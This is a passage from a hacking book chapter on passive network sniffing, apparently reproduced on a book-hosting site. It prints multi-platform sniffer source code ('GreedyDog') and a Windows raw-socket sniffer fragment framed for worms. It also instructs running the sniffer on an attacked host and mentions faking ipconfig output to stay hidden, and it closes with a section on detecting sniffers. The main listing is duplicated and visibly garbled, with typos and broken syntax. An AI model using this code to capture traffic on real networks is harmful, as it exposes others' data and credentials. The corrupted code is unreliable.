Passive Sniffing

LAN has long been a synonym of Ethernet. In Ethernet networks built on the basis of the common-bus topology, each packet sent to the network by one of its hosts is delivered to all other network participants . The network adapter analyzes packet headers at the hardware level and compares its physical address (also known as its MAC address) to the address specified in the Ethernet header, and passes only "its" packets to the IP layer.

To capture traffic, the adapter must be switched into the promiscuous mode , in which all received packets are passed to the IP layer. Most standard network adapters support the promiscuous mode, provoking most curious users to spy on the other participants of the network.

Migration to twisted pair with a nonintellectual hub doesn't change anything, because sent packets are duplicated to each output of the hub and can then be grabbed according to the same method. An intellectual hub that analyzes packet headers on its own and delivers them only to those hosts, for which they are intended, prevents passive sniffing, thus forcing the attacker to migrate to active sniffing, which will be covered in more detail later in this chapter.

Thus, to implement a passive sniffer, it is necessary to switch the network adapter into the promiscuous mode and create a raw socket providing access to all packets passed to the given IP interface . Standard sockets are not suitable for this purpose, because they receive only those packets that are explicitly addressed to them and that arrive to the specified port.

On the Internet, there are lots of sniffers intended for UNIX, most of which are supplied with well-commented source code. The most universal method of traffic sniffing relies on the libcap cross-platform library, which is also ported for Windows 9 x /ME/NT/2000/XP/CE. Both the library and the tcpdump for Windows can be found at the following address: http://winpcap.polito.it/install/default.htm . Because this library might be missing on the attacked computer (and no worm can afford to bring it along), true hackers prefer to develop the sniffer core on their own.

Operating systems from the UNIX family block direct access to the hardware from the application layer (so that it will not be possible to simply reprogram the network adapter). However, they still provide special controls for switching the interface into the promiscuous mode. These controls differ considerably for different UNIX versions, which significantly complicates the hacker's task.

BSD UNIX includes a special packet filter that supports a flexible method of selectively capturing foreign packets, which corresponds to the /dev/bpf device. The interface is switched into the promiscuous mode using IOCTL and appears approximately as follows : ioctl(fd, BIOCPROMISC, 0) . Here, fd is the interface descriptor, and BIOCPROMISC is the IOCTL control code. In Solaris, all operations are carried out in a similar way, except that the IOCTL code is different and the device is called hme instead of bpf (for the BSD Packet Filter). The SunOS operating system behaves in a similar way. It provides the streaming driver of the nit pseudodevice (NIT stands for Network Interface Tap). In contrast to BPF, the NIT streaming filter captures only incoming packets, allowing the outgoing packets to bypass it. Furthermore, it operates considerably slower. Linux implements a different method of grabbing traffic. Operating systems of this family support special IOCTL codes for interacting with the network at the driver level. To achieve this goal, it is enough to create a raw socket with the following call: socket (PF_PACKET, SOCK_RAW, int protocol) . Then, switch its associated interface into the promiscuous mode -ifr.ifr_flags = IFF_PROMISC; ioctl (s, SIOCGIFFLAGS, ifr) , where s is the socket descriptor and ifr is the interface.

An excellent manual on sniffer programming (although, in French) can be found at the following address: http://www.security-labs.org/index.php3?page=135 . Lots of traffic sniffers and grabbers provided in source code can be found at http://packetstormsecurity.org/sniffers/ . In other words, there is no shortage of information about network sniffers. The only problem that a hacker might experience here is applying all of these resources and memorizing the specific features of every operating system.

Most articles that I have encountered describe one or two operating systems, ignoring all others. Thus, when working with such articles, it was necessary to constantly switch among different operating systems and check how a specific feature was implemented in each system, including Linux, BSD, and Solaris. This can create a horrible mess in a programmer's head. No material will be adequately memorized. In addition, the code contained an enormous number of fatal errors, which won't allow you to even compile it, to speak nothing about actual operation.

Therefore, I won't torture you with comparative tables (they are more harmful than helpful). Instead, I will provide a usable abstraction function that prepares a socket (device descriptor) for operation and supports a large number of various operating systems, including SunOS, Linux, FreeBSD, IRIX, and Solaris (Listing 27.1). The complete listing of the sniffer can be found at the following address: http://packetstormsecurity./sniffers/gddl3.c .

Listing 27.1: Creating a raw socket under Linux/UNIX and switching it to promiscuous mode
image from book
 /*========================================================   Ethernet Packet Sniffer 'GreedyDog' Version 1.30   The Shadow Penguin Security (http://shadowpenguin.backsection.net)   Written by UNYUN (unewn4th@usa.net) #ifdef SUNOS4 /*--------< SUN OS4 >-----------*/ #define        NIT_DEV                  "/dev/nit"                     */ #define        DEFAULT_NIC              "le0"                          */ #define        CHUNKSIZE                4096                           */ #endif #ifdef LINUX   /*--------< LINUX >-------------*/ #define        NTT_DEV                    "" #define        DEFAULT_NIC                "eth0"                       */ #define        CHUNKSIZE                  32000                        */ #endif #ifdef FREEBSD /*--------< FreeBSD> -----------*/ #define        NIT_DEV                    "/dev/bpf"                   */ #define        DEFAULT_NIC                "ed0"                        */ #define        CHUNKSIZE                  32000                        */ #endif #ifdef IRIX /*-----------< IRIX >--------------*/ #define        NIT_DEV                    "" #define        DEFAULT_NIC                "" #define        CHUNKSIZE                  60000                        */ #define        ETHERHDRPAD        RAW_HDRPAD(sizeof(struct ether_header)) #endif #ifdef SOLARIS /*--------< Solaris >-----------*/ #define        NIT_DEV                    "/dev/hme"                   */ #define        DEFAULT_NIC                "" #define        CHUNKSIZE                  32768                        */ #endif #define        S_DEBUG                                                 */ #define        SIZE_OF_ETHHDR             14                           */ #define        LOGFILE                    "./snif.log"                 */ #define        TMPLOG_DIR                 "/tmp/"                      */ struct conn_list{         struct conn_list        *next_p;         char                     sourceIP[16], destIP[16];         unsigned long            sourcePort, destPort; }; struct conn_list *cl; struct conn_list *org_cl; #ifdef SOLARIS         int        strgetmsg(fd, ctlp, flagsp, caller)         int        fd;         struct     strbuf  *ctlp;         int        *flagsp;          char      *caller;          {                 int     rc;                 static  char errmsg[80];                 *flagsp = 0;                 if ((rc = getmgg(fd, ctlp, NULL, flagsp)) < 0) return(-2);                 if (alarm(0) < 0)  return(-3);                 if ((rc&(MORECTLMOREDATA)) == (MORECTLMOREDATA)) return(-4);                 if (rc&MORECTL) return(-5);                 if (rc&MOREDATA) return(-6);                 if (ctlp->len < sizeof(long)) return(-7);                 return(0);         } #endif int         setnic_promisc(nit_dev, nic_name) char        *nit_dev; char        *nic_name; {         int sock; struct ifreq f; #ifdef SUNOS4         struct strioctl si; struct timeval timeout;         u_int chunksize  =  CHUNKSIZE; u_long if_flags  =  NI_PROMISC;         if ({sock = open(nit_dev, 0_RDONLY)) < 0)            return(-1);         if (ioctl(sock, I_SRDOPT, (char *)RMSGD) < 0)        return(-2);         si.ic_timout - TNFTTM;         if (ioctl(sock, I_PUSH, "nbuf") < 0)                 return(-3);         timeout.tv_sec = 1; timeout.tv_usec = 0; si.ic_cmd = NIOCSTIME;         si.ic_len = sizeof (timeout); si.ic_dp = (char *)&timeout;         if (ioctl(sock, I_STR, (char *)&si) < 0)             return(-4);         si.ic_cmd = NIOCSCHUNK; si.ic_len = sizeof(chunksize);         si.ic_dp = (char *)&chunksize;         if (ioctl(sock, I_STR, (char *)&si) < 0)              return(-5);         strncpy(f.ifr_name, nic_name, sizeof(f.ifr_name));         f.ifr_name[sizeof(f.ifr_name) - 1] = ' 
 /*======================================================== Ethernet Packet Sniffer 'GreedyDog' Version 1.30 The Shadow Penguin Security (http://shadowpenguin.backsection.net) Written by UNYUN (unewn4th@usa.net) #ifdef SUNOS4 /*--------< SUN OS4 >-----------*/ #define NIT_DEV "/dev/nit" */ #define DEFAULT_NIC "le0" */ #define CHUNKSIZE 4096 */ #endif #ifdef LINUX /*--------< LINUX >-------------*/ #define NTT_DEV "" #define DEFAULT_NIC "eth0" */ #define CHUNKSIZE 32000 */ #endif #ifdef FREEBSD /*--------< FreeBSD> -----------*/ #define NIT_DEV "/dev/bpf" */ #define DEFAULT_NIC "ed0" */ #define CHUNKSIZE 32000 */ #endif #ifdef IRIX /*-----------< IRIX >--------------*/ #define NIT_DEV "" #define DEFAULT_NIC "" #define CHUNKSIZE 60000 */ #define ETHERHDRPAD RAW_HDRPAD(sizeof(struct ether_header)) #endif #ifdef SOLARIS /*--------< Solaris >-----------*/ #define NIT_DEV "/dev/hme" */ #define DEFAULT_NIC "" #define CHUNKSIZE 32768 */ #endif #define S_DEBUG */ #define SIZE_OF_ETHHDR 14 */ #define LOGFILE "./snif.log" */ #define TMPLOG_DIR "/tmp/" */ struct conn_list{ struct conn_list *next_p; char sourceIP[16], destIP[16]; unsigned long sourcePort, destPort; }; struct conn_list *cl; struct conn_list *org_cl; #ifdef SOLARIS int strgetmsg(fd, ctlp, flagsp, caller) int fd; struct strbuf *ctlp; int *flagsp; char *caller; { int rc; static char errmsg[80]; *flagsp = 0; if ((rc = getmgg(fd, ctlp, NULL, flagsp)) < 0) return(-2); if (alarm(0) < 0) return(-3); if ((rc&(MORECTLMOREDATA)) == (MORECTLMOREDATA)) return(-4); if (rc&MORECTL) return(-5); if (rc&MOREDATA) return(-6); if (ctlp->len < sizeof(long)) return(-7); return(0); } #endif int setnic_promisc(nit_dev, nic_name) char *nit_dev; char *nic_name; { int sock; struct ifreq f; #ifdef SUNOS4 struct strioctl si; struct timeval timeout; u_int chunksize  =  CHUNKSIZE; u_long if_flags  =  NI_PROMISC; if ({sock = open (nit_dev, 0_RDONLY)) < 0) return(-1); if (ioctl(sock, I_SRDOPT, (char *)RMSGD) < 0) return(-2); si.ic_timout - TNFTTM; if (ioctl(sock, I_PUSH, "nbuf") < 0) return(-3); timeout.tv_sec = 1; timeout.tv_usec = 0; si.ic_cmd = NIOCSTIME; si.ic_len = sizeof (timeout); si.ic_dp = (char *)&timeout; if (ioctl(sock, I_STR, (char *)&si) < 0) return(-4); si.ic_cmd = NIOCSCHUNK; si.ic_len = sizeof(chunksize); si.ic_dp = (char *)&chunksize; if (ioctl(sock, I_STR, (char *)&si) < 0) return(-5); strncpy (f.ifr_name, nic_name, sizeof(f.ifr_name)); f.ifr_name[sizeof(f.ifr_name) - 1] = '\0'; si.ic_cmd = NTOCBTND; si.ic_len = sizeof(f); si.ic_dp = (char *)&f; if (ioctl(sock, I_STR, (char *)&si) < 0) return(-6); si.ic_cmd = NIOCSFLAGS; si.ic_len - sizeof(if_flags); si.ic_dp = (char *)&if_flags; if (ioctl(sock, I_STR, (char *)&si) < 0) return(-7); if (ioctl(sock, I_FLUSH, (char *)FLUSHR) < 0) return(-8); #endif #ifdef LINUX if ((sock  =  socket(AF_INET, SOCK_PACKET, 768)) < 0) return(-1); strcpy (f.ifr_name, nic_name); if (ioctl(sock, SIOCGIFFLAGS, &f) < 0) return(-2); f.ifr_flags = IFF_PROMISC; if (ioctl(sock, SIOCSIFFLAGS, &f) < 0) return(-3); #endif #ifdef FREEBSD char device[12]; int n = 0; struct bpf_version bv; unsigned int size ; do{ sprintf(device, "%s%d", nit_dev, n++); sock  =  open(device, O_RDONLY); } while(sock < 0 && errno == EBUSY); if(ioctl(sock, BIOCVERSION, (char *)&bv) < 0) return(-2); if((bv.bv_major != BPF_MAJOR_VERSION) (bv.bv_minor < BPF_MINOR_VERSION))return -3; strncpy(f.ifr_name, nic_name, sizeof(f.ifr_name)); if(ioctl(sock, BIOCSETIF, (char *)&f) < 0) return-4; ioctl(sock, BIOCPROMISC, NULL); if(ioctl(sock, BIOCGBLEN, (char *)&size) < 0)return-5; #endif #ifdef IRIX struct sockaddr_raw sr; struct snoopfilter sf; int size = CHUNKSIZE, on = 1; char *interface; if((sock = socket(PF_RAW, SOCK_RAW, RAWPROTO_SNOOP)) < 0) return -1; sr.sr_family = AF_RAW; sr.sr_port = 0; if (!(interface  =  (char *)getenv("interface"))) memset(sr.sr_ifname, 0, sizeof(sr.sr_ifname)); else strncpy(sr.sr_ifname, interface, sizeof(sr.sr_ifname)); if(bind(sock, &sr, sizeof(sr)) < 0) return(-2); memset ((char *)&sf, 0, sizeof(sf)); if(ioctl(sock, SIOCADDSNOOP, &sf) < 0) return(-3); setsockopt(sock, SOL_SOCKET, SO_RCVBUF, (char *)&size, sizeof(size)); if(ioctl(sock, SIOCSNOOPING, &on) < 0) return(-4); #endif #ifdef SOLARIS long buf[CHUNKSIZE]; dl_attach_req_t ar; dl_promiscon_req_t pr; struct strioctl si; union DL_primitives *dp; dl_bind_req_t bind_req; struct strbuf c; int flags; if ((sock = open(nit_dev, 2)) < 0) return(-1); ar.dl_primitive = DL_ATTACH_REQ; ar.dl_ppa = 0; c.maxlen = 0; c.len  =  sizeof(dl_attach_req_t); c.buf = (char *)&ar; if (putmsg(sock, &c, NULL, 0) < 0) return(-2); c.maxlen = CHUNKSIZE; c.len  =  0; c.buf  =  (void *)buf; strgetmsg(sock, &c, &flags, "dlokack"); dp = (union DL_primitives *)c.buf; if (dp->dl_primitive != DL_OK_ACK) return(-3); pr.dl primitive = DL_PROMISCON_REQ; pr.dl_level  =  DL_PROMISC_PHYS; c.maxlen  =  0; c.len = sizeof(dl_promiscon_req_t); c.buf = (char *)&pr; if (putmsg(sock, &c, NULL, 0) < 0) return(-4); c.maxlen  =  CHUNKSIZE; c.len  =  0; c.buf  =  (void *)buf; strgetmsg(sock, &c, &flags, "dlokack"); dp = (union DL_primitives *)c.buf; if (dp->dl_primitive != DL_OK_ACK) return(-5); bind_req.dl_primitive = DL_BIND_REQ; bind_req.dl_sap  =  0x800; bind_req.dl_max_conind = 0; bind_req.dl_service_mode = DL_CLDLS; bind_req.dl_conn_mgmt = 0; bind_req.dl_xidtest_flg = 0; c.maxlen = 0; c.len = sizeof(dl_bind_req_t); c.buf = (char *)&bind_req; if (putmsg(sock, &c, NULL, 0) < 0) return(-6); c.maxlen  =  CHUNKSIZE; c.len  =  0; c.buf  =  (void *)buf; strgetmsg(sock, &c, &flags, "dlbindack"); dp = (union DL_primitives *)c.buf; if (dp->dl_primitive != DL_BIND_ACK) return(-7); si.ic_cmd = DLIOCRAW; si.ic_timout = -1; si.ic_len = 0; si.ic_dp = NULL; if (ioctl(sock, I_STR, &si) < 0) return(-8); if (ioctl(sock, I_FLUSH, FLUSHR) < 0) return(-9); #endif return(sock); } 
'; si.ic_cmd = NTOCBTND; si.ic_len = sizeof(f); si.ic_dp = (char *)&f; if (ioctl(sock, I_STR, (char *)&si) < 0) return(-6); si.ic_cmd = NIOCSFLAGS; si.ic_len - sizeof(if_flags); si.ic_dp = (char *)&if_flags; if (ioctl(sock, I_STR, (char *)&si) < 0) return(-7); if (ioctl(sock, I_FLUSH, (char *)FLUSHR) < 0) return(-8); #endif #ifdef LINUX if ((sock = socket(AF_INET, SOCK_PACKET, 768)) < 0) return(-1); strcpy(f.ifr_name, nic_name); if (ioctl(sock, SIOCGIFFLAGS, &f) < 0) return(-2); f.ifr_flags = IFF_PROMISC; if (ioctl(sock, SIOCSIFFLAGS, &f) < 0) return(-3); #endif #ifdef FREEBSD char device[12]; int n = 0; struct bpf_version bv; unsigned int size; do{ sprintf(device, "%s%d", nit_dev, n++); sock = open(device, O_RDONLY); } while(sock < 0 && errno == EBUSY); if(ioctl(sock, BIOCVERSION, (char *)&bv) < 0) return(-2); if((bv.bv_major != BPF_MAJOR_VERSION) (bv.bv_minor < BPF_MINOR_VERSION))return -3; strncpy(f.ifr_name, nic_name, sizeof(f.ifr_name)); if(ioctl(sock, BIOCSETIF, (char *)&f) < 0) return-4; ioctl(sock, BIOCPROMISC, NULL); if(ioctl(sock, BIOCGBLEN, (char *)&size) < 0)return-5; #endif #ifdef IRIX struct sockaddr_raw sr; struct snoopfilter sf; int size = CHUNKSIZE, on = 1; char *interface; if((sock = socket(PF_RAW, SOCK_RAW, RAWPROTO_SNOOP)) < 0) return -1; sr.sr_family = AF_RAW; sr.sr_port = 0; if (!(interface = (char *)getenv("interface"))) memset(sr.sr_ifname, 0, sizeof(sr.sr_ifname)); else strncpy(sr.sr_ifname, interface, sizeof(sr.sr_ifname)); if(bind(sock, &sr, sizeof(sr)) < 0) return(-2); memset((char *)&sf, 0, sizeof(sf)); if(ioctl(sock, SIOCADDSNOOP, &sf) < 0) return(-3); setsockopt(sock, SOL_SOCKET, SO_RCVBUF, (char *)&size, sizeof(size)); if(ioctl(sock, SIOCSNOOPING, &on) < 0) return(-4); #endif #ifdef SOLARIS long buf[CHUNKSIZE]; dl_attach_req_t ar; dl_promiscon_req_t pr; struct strioctl si; union DL_primitives *dp; dl_bind_req_t bind_req; struct strbuf c; int flags; if ((sock = open(nit_dev, 2)) < 0) return(-1); ar.dl_primitive = DL_ATTACH_REQ; ar.dl_ppa = 0; c.maxlen = 0; c.len = sizeof(dl_attach_req_t); c.buf = (char *)&ar; if (putmsg(sock, &c, NULL, 0) < 0) return(-2); c.maxlen = CHUNKSIZE; c.len = 0; c.buf = (void *)buf; strgetmsg(sock, &c, &flags, "dlokack"); dp = (union DL_primitives *)c.buf; if (dp->dl_primitive != DL_OK_ACK) return(-3); pr.dl primitive = DL_PROMISCON_REQ; pr.dl_level = DL_PROMISC_PHYS; c.maxlen = 0; c.len = sizeof(dl_promiscon_req_t); c.buf = (char *)&pr; if (putmsg(sock, &c, NULL, 0) < 0) return(-4); c.maxlen = CHUNKSIZE; c.len = 0; c.buf = (void *)buf; strgetmsg(sock, &c, &flags, "dlokack"); dp = (union DL_primitives *)c.buf; if (dp->dl_primitive != DL_OK_ACK) return(-5); bind_req.dl_primitive = DL_BIND_REQ; bind_req.dl_sap = 0x800; bind_req.dl_max_conind = 0; bind_req.dl_service_mode = DL_CLDLS; bind_req.dl_conn_mgmt = 0; bind_req.dl_xidtest_flg = 0; c.maxlen = 0; c.len = sizeof(dl_bind_req_t); c.buf = (char *)&bind_req; if (putmsg(sock, &c, NULL, 0) < 0) return(-6); c.maxlen = CHUNKSIZE; c.len = 0; c.buf = (void *)buf; strgetmsg(sock, &c, &flags, "dlbindack"); dp = (union DL_primitives *)c.buf; if (dp->dl_primitive != DL_BIND_ACK) return(-7); si.ic_cmd = DLIOCRAW; si.ic_timout = -1; si.ic_len = 0; si.ic_dp = NULL; if (ioctl(sock, I_STR, &si) < 0) return(-8); if (ioctl(sock, I_FLUSH, FLUSHR) < 0) return(-9); #endif return(sock); }
image from book
 

The situation for Windows NT is different. It doesn't support packet sockets and doesn't allow the programmer to work with the network driver directly. Actually, it does, but when doing so the programmer must observe many precautions . There are lots of packet sniffers under Windows NT (one of which is even included in the DDK). However, they all require installation of a special driver. In other words, correct operation with the transport layer under Windows NT is possible only at the kernel layer. Can a worm bring along such a driver and dynamically load it into the system? It is possible, but this solution would be too bulky and inelegant.

Under Windows 2000/XP, everything is considerably easier. There it is enough to create a raw socket (raw socket support was introduced in Windows 2000/XP at last), associate it to the tracked interface, and then, by means of bind , switch the socket into the promiscuous mode by using the following command: WSAIoctl (raw_socket, SIO_RCVALL, &optval, sizeof (optval), 0, 0, &N, 0, 0) . Here, optval is the DWORD variable set to one, and N is the number of bytes returned by the function.

For the first time, the source code of such a sniffer was published in issue six of the #29A e-zine. Then, practically the same utility was published by Z0mnie, which has translated Assembly code into the international programming language, C++ (the resulting code has inherited all the bugs of the original). Listing 27.2 shows the key fragment of this utility, supplied with my comments (the full source code is in the image from book  sniffer.c file). Another source of inspiration is the IPHDRJNC demo supplied with Platform SDK 2000. I highly recommend that everyone carefully study all these examples.

Listing 27.2: Key fragment of the packet sniffer for Windows 2000/XP
image from book
 // Create a raw socket //------------------------------------------------------------------------- if ((raw_socket = socket(AF_INET, SOCK_RAW, IPPROTO_IP)) == -1) return -1; // At this point,  some manuals state that // it is necessary to assign IP_HDRINCL to the // raw socket. It is also possible not to assign this attribute. // The IP_HDRINCL flag informs the system that // the application wants to form the IP headers of the sent packets // on its own, yet received packets are passed // to it with the IP header. More detailed information // on this topic can be found in the platform SDK //  "  TCP/IP Raw Sockets.  "  // if (setsockopt(raw_socket, IPPROTO_IP, IP_HDRINCL, &optval, // sizeof(optval))== -1)... // List all interfaces (in other words, // the IP addresses of all gateways available on // the computer). If PPP is used to connect to the Internet, // there usually is only one IP address // assigned by the provider's DHCP server; // however, this is not so in LAN. if ((zzz = WSAIoctl(raw_socket, SIO_ADDRESS_LIST_QUERY, 0, 0, addrlist,          sizeof(addrlist), &N, 0, 0)) == SOCKET_ERROR) return -1; ... // Now it is necessary to bind to all interfaces // by allocating each one into an individual thread // (all sockets are blockable). However, in this example // only the IP address of the first interface encountered is tracked. addr.sin_family = AF_INET; addr.sin_addr   = ((struct sockaddr_in*) llist->Address[0].lpSockaddr)->sin_addr; if (bind(raw_socket, (struct sockaddr*) &addr, sizeof(addr)) == SOCKET_ERROR) return -1; #define SIO_RCVALL 0x98000001 // Inform the system that it is necessary to receive // all packets passing through it. if (zzz  =  WSAIoctl(raw_socket, SIO_RCVALL, &optval, sizeof(optval), 0, 0, &N, 0, 0)) return -1; // Obtain all packets arriving to this interface. while(1) {         if ((len = recv(raw_socket, buf, sizeof(buf), 0)) < 1) return -1; } 
image from book
 

Having compiled the image from book  sniffer.c file, run it at the attacked host with administrative privileges. Then go to the attacker host and from there, send several TCP/UDP packets passed by the firewall to the attack target. The worm successfully grabs them. At the same time, no opened ports are added to the target computer and network sniffing is not detected by monitors or local firewalls.

Switching of the interface into the promiscuous mode doesn't remain unnoticed. It can be easily detected by the ipconfig utility displaying its status. However, to achieve this, the administrator must have the possibility of remotely starting programs at the attacker host (which the attacker can easily prevent) or modifying the code of the ipconfig utility (and similar tools) to make it produce fictitious data. By the way, when sending the sniffer to the target computer, it is necessary to remember that in most cases its presence can be detected by ipconfig .

Detecting Passive Sniffing

Most legal sniffers automatically resolve all received IP addresses, thus giving the attacker away (Fig. 27.3). The administrator sends the packet to a nonexistent MAC address from a nonexistent IP address. The host that has displayed an interest in the domain name of this IP will be the attacker host. If the attacker uses a custom sniffer, disables DNS in the network connection settings, or protects the attacking host with a local firewall, the administrator will fail to carry out this task.

image from book
Figure 27.3: Sniffer at work

As a variant, the administrator can send the packet intended for the attacker ” with the actual IP address and port of the corresponding service (for example, ICMP ECHO , better known as ping ) ” to a nonexistent MAC address. Working in the promiscuous mode, the network adapter will pass such a packet to the IP layer, and that packet will be processed by the system that automatically generates echo responses. To avoid falling into the trap, the attacker has to disable ICMP and close all TCP ports, which can be done using a firewall if it doesn't open any additional ports (most firewalls open additional ports).

By the way, traffic grabbing requires considerable processor resources, and computer operation slows considerably. What are the potential problems with this drop in speed? The administrator pings the attacking host and registers the average response time. After that, the administrator sends the packet storm to nonexistent (or existing) MAC addresses, after which replies with the ping operation again. The change of the response time fully discloses traffic sniffing. To withstand it, the attacker must either disable ICMP ECHO (however, this causes serious suspicions) or stabilize the response time by inserting a specific number of blank delays (for which purpose it will be necessary to modify the code of the echo daemon).

Naturally, there are other methods of disclosing passive traffic sniffing; however, even the ones listed here are enough to understand that passive traffic sniffing is unsafe. For example, an administrator can transmit a fictitious password, pretending that it belongs to root, and then wait in ambush to see who would be lured by this bait.

To disclose passive listeners, special methods were developed. However, these methods are of little or no practical use, because they all are oriented toward detecting passive sniffing over a long period. For the worm to carry out this attack, no more than several seconds are needed.



Shellcoder's Programming Uncovered
Shellcoders Programming Uncovered (Uncovered series)
ISBN: 193176946X
EAN: 2147483647
Year: 2003
Pages: 164

flylib.com © 2008-2017.
If you may any questions please contact us: flylib@qtcs.net